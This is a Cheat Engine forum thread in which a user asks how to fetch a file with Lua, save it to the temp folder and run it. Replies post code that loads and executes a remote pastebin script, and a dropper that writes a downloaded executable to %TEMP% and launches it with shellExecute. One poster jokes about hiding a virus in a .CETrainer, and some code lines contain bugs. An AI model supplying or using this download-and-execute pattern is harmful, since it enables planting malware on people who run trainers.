| View previous topic :: View next topic |
| Author |
Message |
MrsXxX Newbie cheater
Reputation: 0
Joined: 29 May 2020 Posts: 11
|
Posted: Fri May 29, 2020 4:18 pm Post subject: getInternet().getURL |
|
|
local x = getInternet().getURL("")
how can i save this file to anywhere not to desctop
|
|
| Back to top |
|
 |
Oxijen Expert Cheater
Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Fri May 29, 2020 4:43 pm Post subject: |
|
|
is it even legal??
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum  |
|
| Back to top |
|
 |
atom0s Moderator
Reputation: 205
Joined: 25 Jan 2006 Posts: 8587 Location: 127.0.0.1
|
|
| Back to top |
|
 |
Corroder Grandmaster Cheater Supreme
Reputation: 75
Joined: 10 Apr 2015 Posts: 1668
|
Posted: Fri May 29, 2020 5:22 pm Post subject: |
|
|
An example mentioned by atom0s:
| Code: | ocal int=getInternet()
local url='https://www.google.com/search?client=firefox-b-d&q=cheat+engine+forum'
local resp=int.getURL(url)
print(resp)
local frm = getLuaEngine()
local log = frm.mOutput.Lines.Text
path = TrainerOrigin or getMainForm()
local f = assert(io.open("content.html", "w"))
-- or local name = path .. "\\content.html"
-- define your path to save the file
-- content.html can replace with txt file or what ever
f:write(log)
f:close() |
_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL |
|
| Back to top |
|
 |
MrsXxX Newbie cheater
Reputation: 0
Joined: 29 May 2020 Posts: 11
|
Posted: Sat May 30, 2020 1:16 am Post subject: |
|
|
i want like this corroder
i will save this file to temp
and it will run
how can i do this ?
local x = getInternet().getURL("")
it will save at temp and it will run with execute
>i cant write urls<
|
|
| Back to top |
|
 |
Corroder Grandmaster Cheater Supreme
Reputation: 75
Joined: 10 Apr 2015 Posts: 1668
|
Posted: Sat May 30, 2020 3:44 am Post subject: |
|
|
| Code: | local x = getInternet().getURL("")
it will save at temp and it will run with execute |
getURL("") will give result as nothing. Because no URL address input there.
You need a provide URL address and get data from there using getInternet.getURL('url address').
If you read carefully the example I gave you and understand it, then this line:
| Code: | -- example
path = 'C:\\Temp'
local f = assert(io.open("content.html", "w"))
-- or local name = path .. "\\content.html"
-- define your path to save the file
-- content.html can replace with txt file or what ever
|
Because in example above the path to save data get from URL (in this case is content.html), then data from the URL will save on folder C:\Temp\ as a file with name content.html, of course you can change the path folder where you want to save data and the file name as you want.
Will run with execute?.
It's depending to what data type you take from the URL. The data possible type are html, lua script, hack table, etc.
Anyhow, all data from getURL() will return as strings.
Below an example to get text script from an URL and execute it without need to save on the machine.
| Code: | local url = 'https://pastebin.com/raw/1jDXDFcn'
local int = getInternet()
local text = int.getURL(url)
int.destroy()
load(text)()
|
Copy paste the script above to CE Lua table and execute. See what happens.
_________________
Stealing Code From Stolen Code...
And Admit It.. Hmmm....Typically LOL |
|
| Back to top |
|
 |
exohaxor Expert Cheater
Reputation: 1
Joined: 02 Sep 2018 Posts: 101
|
|
| Back to top |
|
 |
Oxijen Expert Cheater
Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Sat May 30, 2020 6:39 am Post subject: |
|
|
| exohaxor wrote: | this looks suspicious writing file to temp to execute it
hmmm... |
Exactly!!
I thought this would be illegal to give.
But as I see it is not...
I think you need this | Code: |
local aaa = "link for the app you want to download"
local bbb = "name of the fie + extension example.exe"
local link={[1]=aaa,[2]="TEMP",[3]=bbb,[4]="wb",[5]=bbb}
local url=link[1]
local get=getInternet()
local smRg=get.getURL(url)
local weird=os.getenv(link[2])
local lol=io.open(weird ..link[3],link[4])
lol:write(smRg)
weird:close()
shellExecute(weird ..link[5]) |
Ok, MrsXxX go put virus to .CETrainer and say it is detected because cheat engine is hacking tool.
One last thing, don't ask me why you made these variables because I don't know.
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum  |
|
| Back to top |
|
 |
MrsXxX Newbie cheater
Reputation: 0
Joined: 29 May 2020 Posts: 11
|
Posted: Sat May 30, 2020 7:10 am Post subject: |
|
|
no nah Not for rat
Just a Project i will rec a video u will see
|
|
| Back to top |
|
 |
Oxijen Expert Cheater
Reputation: 0
Joined: 07 May 2020 Posts: 163 Location: On The Moon
|
Posted: Sat May 30, 2020 8:22 am Post subject: |
|
|
hmm, I hope so.
_________________
I can see you Hitler
Especially When I am On the Moon!!
You are Right now in cheat engine forum  |
|
| Back to top |
|
 |
|